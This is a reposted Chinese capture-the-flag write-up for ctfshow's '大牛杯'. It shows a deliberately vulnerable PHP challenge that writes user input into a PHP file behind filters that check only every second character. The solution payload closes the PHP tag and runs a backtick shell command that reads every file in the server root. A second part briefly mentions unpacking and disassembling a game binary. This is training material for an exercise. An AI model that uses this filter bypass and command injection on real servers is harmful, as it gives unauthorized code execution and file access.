[ctfshow]大牛杯
Posted huamanggg
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ctfshow]大牛杯相关的知识,希望对你有一定的参考价值。
web_checkin
<?php
error_reporting(0);
include "config.php";
//flag in /
function check_letter($code){
$letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890");
for ($i = 0; $i < count($letter_blacklist); $i+=2){
if (preg_match("/".$letter_blacklist[$i]."/i", $code)){
die("xi nei~");
}
}
}
function check_character($code){
$character_blacklist = array('=','\\+','%','_','\\)','\\(','\\*','&','\\^','-','\\$','#','`','@','!','~','\\]','\\[','}','{','\\'','\\"',';',' ','\\/','\\.','\\?',',','<',':','>');
for ($i = 1; $i < count($character_blacklist); $i+=2){
if (preg_match("/".$character_blacklist[$i]."/", $code)){
die("tongtong xi nei~");
}
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if (!file_exists($dir)) {
mkdir($dir);
}
if (isset($_GET["code"])) {
$code = substr($_GET["code"], 0, 12);
check_letter($code);
check_character($code);
file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
echo $dir;
}else{
highlight_file(__FILE__);
}
这两个过滤的函数,发现里面的循环是步长为2的
for ($i = 0; $i < count($letter_blacklist); $i+=2)
第一个循环可以通过的字符有:
b、d、f、h、j、l、n、p、r、t、v、x、z、2、4、6、8、0
第二个循环可以通过的字符有:
=、%、)、*、^、$、`、!、]、}、'、;、/、?、<、>
接下来就是往某个目录下的php文件里面写东西了
file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
但是里面有一个$fuxkfile,不知道是什么东西
花了20分换了一个hint
我们可以这样构造code,先闭合前面的<?,再开一个<?=
由于前面说了flag在根目录,所以我们直接nl /*
就可以了
?code=?><?=`nl%09/*`
成功获取flag
Mud
upx脱壳后,拉到ida,找到游戏结束那一块
flag在这里
以上是关于[ctfshow]大牛杯的主要内容,如果未能解决你的问题,请参考以下文章